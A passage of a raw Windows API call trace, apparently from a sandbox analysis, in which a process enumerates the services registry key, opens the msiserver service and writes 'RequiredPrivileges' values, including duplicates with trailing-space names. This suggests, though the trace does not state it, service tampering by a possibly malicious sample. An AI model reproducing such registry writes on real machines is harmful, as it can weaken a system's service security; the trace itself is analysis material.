(in: hKey=0xc4, dwIndex=0x52, lpName=0x2152850, cchName=0x104 | out: lpName="DfsC") returned 0x0 [0259.969] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x53, lpName=0x2152850, cchName=0x104 | out: lpName="Dhcp") returned 0x0 [0259.969] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x54, lpName=0x2152850, cchName=0x104 | out: lpName="DiagTrack") returned 0x0 [0259.969] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x55, lpName=0x2152850, cchName=0x104 | out: lpName="discache") returned 0x0 [0259.969] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x56, lpName=0x2152850, cchName=0x104 | out: lpName="Disk") returned 0x0 [0259.969] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x57, lpName=0x2152850, cchName=0x104 | out: lpName="dmvsc") returned 0x0 [0259.969] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x58, lpName=0x2152850, cchName=0x104 | out: lpName="Dnscache") returned 0x0 [0259.969] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x59, lpName=0x2152850, cchName=0x104 | out: lpName="dot3svc") returned 0x0 [0259.969] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5a, lpName=0x2152850, cchName=0x104 | out: lpName="DPS") returned 0x0 [0259.969] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5b, lpName=0x2152850, cchName=0x104 | out: lpName="drmkaud") returned 0x0 [0259.969] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5c, lpName=0x2152850, cchName=0x104 | out: lpName="DXGKrnl") returned 0x0 [0259.970] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5d, lpName=0x2152850, cchName=0x104 | out: lpName="E1G60") returned 0x0 [0259.970] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5e, lpName=0x2152850, cchName=0x104 | out: lpName="EapHost") returned 0x0 [0259.970] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5f, lpName=0x2152850, cchName=0x104 | out: lpName="ebdrv") returned 0x0 [0259.970] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x60, lpName=0x2152850, cchName=0x104 | out: lpName="EFS") returned 0x0 [0259.970] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x61, lpName=0x2152850, cchName=0x104 | out: lpName="ehRecvr") returned 0x0 [0259.970] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x62, lpName=0x2152850, cchName=0x104 | out: lpName="ehSched") returned 0x0 [0259.970] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x63, lpName=0x2152850, cchName=0x104 | out: lpName="elxstor") returned 0x0 [0259.970] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x64, lpName=0x2152850, cchName=0x104 | out: lpName="ErrDev") returned 0x0 [0259.970] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x65, lpName=0x2152850, cchName=0x104 | out: lpName="ESENT") returned 0x0 [0259.970] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x66, lpName=0x2152850, cchName=0x104 | out: lpName="eventlog") returned 0x0 [0259.970] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x67, lpName=0x2152850, cchName=0x104 | out: lpName="EventSystem") returned 0x0 [0259.971] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x68, lpName=0x2152850, cchName=0x104 | out: lpName="exfat") returned 0x0 [0259.971] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x69, lpName=0x2152850, cchName=0x104 | out: lpName="fastfat") returned 0x0 [0259.971] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6a, lpName=0x2152850, cchName=0x104 | out: lpName="Fax") returned 0x0 [0259.971] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6b, lpName=0x2152850, cchName=0x104 | out: lpName="fdc") returned 0x0 [0259.971] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6c, lpName=0x2152850, cchName=0x104 | out: lpName="fdPHost") returned 0x0 [0259.971] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6d, lpName=0x2152850, cchName=0x104 | out: lpName="FDResPub") returned 0x0 [0259.971] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6e, lpName=0x2152850, cchName=0x104 | out: lpName="FileInfo") returned 0x0 [0259.971] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6f, lpName=0x2152850, cchName=0x104 | out: lpName="Filetrace") returned 0x0 [0259.971] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x70, lpName=0x2152850, cchName=0x104 | out: lpName="flpydisk") returned 0x0 [0259.971] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x71, lpName=0x2152850, cchName=0x104 | out: lpName="FltMgr") returned 0x0 [0259.971] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x72, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache") returned 0x0 [0259.971] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x73, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache3.0.0.0") returned 0x0 [0259.971] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x74, lpName=0x2152850, cchName=0x104 | out: lpName="FsDepends") returned 0x0 [0259.972] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x75, lpName=0x2152850, cchName=0x104 | out: lpName="Fs_Rec") returned 0x0 [0259.972] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x76, lpName=0x2152850, cchName=0x104 | out: lpName="fvevol") returned 0x0 [0259.972] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x77, lpName=0x2152850, cchName=0x104 | out: lpName="gagp30kx") returned 0x0 [0259.972] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x78, lpName=0x2152850, cchName=0x104 | out: lpName="gpsvc") returned 0x0 [0259.972] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x79, lpName=0x2152850, cchName=0x104 | out: lpName="gupdate") returned 0x0 [0259.972] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7a, lpName=0x2152850, cchName=0x104 | out: lpName="gupdatem") returned 0x0 [0259.972] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7b, lpName=0x2152850, cchName=0x104 | out: lpName="hcw85cir") returned 0x0 [0259.972] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7c, lpName=0x2152850, cchName=0x104 | out: lpName="HdAudAddService") returned 0x0 [0259.972] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7d, lpName=0x2152850, cchName=0x104 | out: lpName="HDAudBus") returned 0x0 [0259.972] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7e, lpName=0x2152850, cchName=0x104 | out: lpName="HidBatt") returned 0x0 [0259.972] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7f, lpName=0x2152850, cchName=0x104 | out: lpName="HidBth") returned 0x0 [0259.972] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x80, lpName=0x2152850, cchName=0x104 | out: lpName="HidIr") returned 0x0 [0259.972] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x81, lpName=0x2152850, cchName=0x104 | out: lpName="hidserv") returned 0x0 [0259.973] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x82, lpName=0x2152850, cchName=0x104 | out: lpName="HidUsb") returned 0x0 [0259.973] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x83, lpName=0x2152850, cchName=0x104 | out: lpName="hkmsvc") returned 0x0 [0259.973] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x84, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupListener") returned 0x0 [0259.973] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x85, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupProvider") returned 0x0 [0259.973] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x86, lpName=0x2152850, cchName=0x104 | out: lpName="HpSAMD") returned 0x0 [0259.973] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x87, lpName=0x2152850, cchName=0x104 | out: lpName="HTTP") returned 0x0 [0259.973] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x88, lpName=0x2152850, cchName=0x104 | out: lpName="hwpolicy") returned 0x0 [0259.973] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x89, lpName=0x2152850, cchName=0x104 | out: lpName="i8042prt") returned 0x0 [0259.973] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8a, lpName=0x2152850, cchName=0x104 | out: lpName="iaStorV") returned 0x0 [0259.973] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8b, lpName=0x2152850, cchName=0x104 | out: lpName="idsvc") returned 0x0 [0259.973] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8c, lpName=0x2152850, cchName=0x104 | out: lpName="iirsp") returned 0x0 [0259.973] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8d, lpName=0x2152850, cchName=0x104 | out: lpName="IKEEXT") returned 0x0 [0259.973] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8e, lpName=0x2152850, cchName=0x104 | out: lpName="inetaccs") returned 0x0 [0259.974] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8f, lpName=0x2152850, cchName=0x104 | out: lpName="intelide") returned 0x0 [0259.974] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x90, lpName=0x2152850, cchName=0x104 | out: lpName="intelppm") returned 0x0 [0259.974] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x91, lpName=0x2152850, cchName=0x104 | out: lpName="IPBusEnum") returned 0x0 [0259.974] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x92, lpName=0x2152850, cchName=0x104 | out: lpName="IpFilterDriver") returned 0x0 [0259.974] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x93, lpName=0x2152850, cchName=0x104 | out: lpName="iphlpsvc") returned 0x0 [0259.974] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x94, lpName=0x2152850, cchName=0x104 | out: lpName="IPMIDRV") returned 0x0 [0259.974] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x95, lpName=0x2152850, cchName=0x104 | out: lpName="IPNAT") returned 0x0 [0259.974] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x96, lpName=0x2152850, cchName=0x104 | out: lpName="IRENUM") returned 0x0 [0259.974] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x97, lpName=0x2152850, cchName=0x104 | out: lpName="isapnp") returned 0x0 [0259.974] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x98, lpName=0x2152850, cchName=0x104 | out: lpName="iScsiPrt") returned 0x0 [0259.974] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x99, lpName=0x2152850, cchName=0x104 | out: lpName="kbdclass") returned 0x0 [0259.974] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9a, lpName=0x2152850, cchName=0x104 | out: lpName="kbdhid") returned 0x0 [0259.974] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9b, lpName=0x2152850, cchName=0x104 | out: lpName="KeyIso") returned 0x0 [0259.975] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9c, lpName=0x2152850, cchName=0x104 | out: lpName="KSecDD") returned 0x0 [0259.975] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9d, lpName=0x2152850, cchName=0x104 | out: lpName="KSecPkg") returned 0x0 [0259.975] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9e, lpName=0x2152850, cchName=0x104 | out: lpName="ksthunk") returned 0x0 [0259.975] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9f, lpName=0x2152850, cchName=0x104 | out: lpName="KtmRm") returned 0x0 [0259.975] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa0, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanServer") returned 0x0 [0259.975] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa1, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanWorkstation") returned 0x0 [0259.975] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa2, lpName=0x2152850, cchName=0x104 | out: lpName="ldap") returned 0x0 [0259.975] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa3, lpName=0x2152850, cchName=0x104 | out: lpName="lltdio") returned 0x0 [0259.975] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa4, lpName=0x2152850, cchName=0x104 | out: lpName="lltdsvc") returned 0x0 [0259.975] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa5, lpName=0x2152850, cchName=0x104 | out: lpName="lmhosts") returned 0x0 [0259.975] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa6, lpName=0x2152850, cchName=0x104 | out: lpName="Lsa") returned 0x0 [0259.975] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa7, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_FC") returned 0x0 [0259.975] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa8, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS") returned 0x0 [0259.976] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa9, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS2") returned 0x0 [0259.976] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xaa, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SCSI") returned 0x0 [0259.976] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xab, lpName=0x2152850, cchName=0x104 | out: lpName="luafv") returned 0x0 [0259.976] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xac, lpName=0x2152850, cchName=0x104 | out: lpName="Mcx2Svc") returned 0x0 [0259.976] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xad, lpName=0x2152850, cchName=0x104 | out: lpName="megasas") returned 0x0 [0259.976] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xae, lpName=0x2152850, cchName=0x104 | out: lpName="MegaSR") returned 0x0 [0259.976] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xaf, lpName=0x2152850, cchName=0x104 | out: lpName="Microsoft SharePoint Workspace Audit Service") returned 0x0 [0259.976] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb0, lpName=0x2152850, cchName=0x104 | out: lpName="MMCSS") returned 0x0 [0259.976] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb1, lpName=0x2152850, cchName=0x104 | out: lpName="Modem") returned 0x0 [0259.976] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb2, lpName=0x2152850, cchName=0x104 | out: lpName="monitor") returned 0x0 [0259.976] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb3, lpName=0x2152850, cchName=0x104 | out: lpName="mouclass") returned 0x0 [0259.976] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb4, lpName=0x2152850, cchName=0x104 | out: lpName="mouhid") returned 0x0 [0259.976] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb5, lpName=0x2152850, cchName=0x104 | out: lpName="mountmgr") returned 0x0 [0259.977] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb6, lpName=0x2152850, cchName=0x104 | out: lpName="MozillaMaintenance") returned 0x0 [0259.977] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb7, lpName=0x2152850, cchName=0x104 | out: lpName="mpio") returned 0x0 [0259.977] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb8, lpName=0x2152850, cchName=0x104 | out: lpName="mpsdrv") returned 0x0 [0259.977] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb9, lpName=0x2152850, cchName=0x104 | out: lpName="MpsSvc") returned 0x0 [0259.977] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xba, lpName=0x2152850, cchName=0x104 | out: lpName="MRxDAV") returned 0x0 [0259.977] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xbb, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb") returned 0x0 [0259.977] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xbc, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb10") returned 0x0 [0259.977] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xbd, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb20") returned 0x0 [0259.977] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xbe, lpName=0x2152850, cchName=0x104 | out: lpName="msahci") returned 0x0 [0259.977] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xbf, lpName=0x2152850, cchName=0x104 | out: lpName="msdsm") returned 0x0 [0259.977] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc0, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC") returned 0x0 [0259.977] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc1, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 3.0.0.0") returned 0x0 [0259.978] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc2, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 4.0.0.0") returned 0x0 [0259.978] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc3, lpName=0x2152850, cchName=0x104 | out: lpName="Msfs") returned 0x0 [0259.978] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc4, lpName=0x2152850, cchName=0x104 | out: lpName="mshidkmdf") returned 0x0 [0259.978] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc5, lpName=0x2152850, cchName=0x104 | out: lpName="msisadrv") returned 0x0 [0259.978] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc6, lpName=0x2152850, cchName=0x104 | out: lpName="MSiSCSI") returned 0x0 [0259.978] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc7, lpName=0x2152850, cchName=0x104 | out: lpName="msiserver") returned 0x0 [0259.978] RegOpenKeyExW (in: hKey=0xc4, lpSubKey="msiserver", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x150) returned 0x0 [0259.978] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x2152850) returned 1 [0259.978] RegCloseKey (hKey=0xc4) returned 0x0 [0259.978] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0259.978] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0259.978] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0259.978] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0259.979] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0259.979] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0259.979] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0259.979] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x14c) returned 0x0 [0259.979] RegCloseKey (hKey=0x80000002) returned 0x0 [0259.979] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0259.979] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0259.979] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0259.979] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0259.979] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0259.979] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0259.979] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0259.979] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0259.980] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0259.980] RegOpenKeyExW (in: hKey=0x14c, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0xc4) returned 0x0 [0259.980] RegCloseKey (hKey=0x14c) returned 0x0 [0259.980] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0259.980] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0259.980] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0259.980] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0259.980] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0259.980] RegOpenKeyExW (in: hKey=0xc4, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x14c) returned 0x0 [0259.980] RegCloseKey (hKey=0xc4) returned 0x0 [0259.980] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0259.980] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0259.980] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0259.981] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0259.981] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0259.981] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0259.981] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0259.981] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0259.981] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0259.982] RegEnumValueA (in: hKey=0x150, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.982] RegEnumValueA (in: hKey=0x150, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.982] RegEnumValueA (in: hKey=0x150, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.982] RegEnumValueA (in: hKey=0x150, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.982] RegEnumValueA (in: hKey=0x150, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.982] RegEnumValueA (in: hKey=0x150, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.982] RegEnumValueA (in: hKey=0x150, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.982] RegEnumValueA (in: hKey=0x150, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.982] RegEnumValueA (in: hKey=0x150, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.982] RegEnumValueA (in: hKey=0x150, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.982] RegEnumValueA (in: hKey=0x150, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.982] RegEnumValueA (in: hKey=0x150, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.983] RegEnumValueA (in: hKey=0x150, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.983] RegEnumValueA (in: hKey=0x150, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.983] RegEnumValueA (in: hKey=0x150, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.983] RegEnumValueA (in: hKey=0x150, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0259.983] RegSetValueExA (in: hKey=0xc4, lpValueName="RequiredPrivileges", Reserved=0x0, dwType=0x7, lpData=0x29f0048*, cbData=0x195 | out: lpData=0x29f0048*) returned 0x0 [0259.983] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x29f0048) returned 1 [0259.983] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4730 [0259.983] RegSetValueExA (in: hKey=0xc4, lpValueName="RequiredPrivileges ", Reserved=0x0, dwType=0x7, lpData=0x29f0048*, cbData=0x195 | out: lpData=0x29f0048*) returned 0x0 [0259.983] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x29f0048) returned 1 [0259.983] RegEnumValueA (in: hKey=0x150, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.983] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d648 [0259.983] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d418 [0259.983] 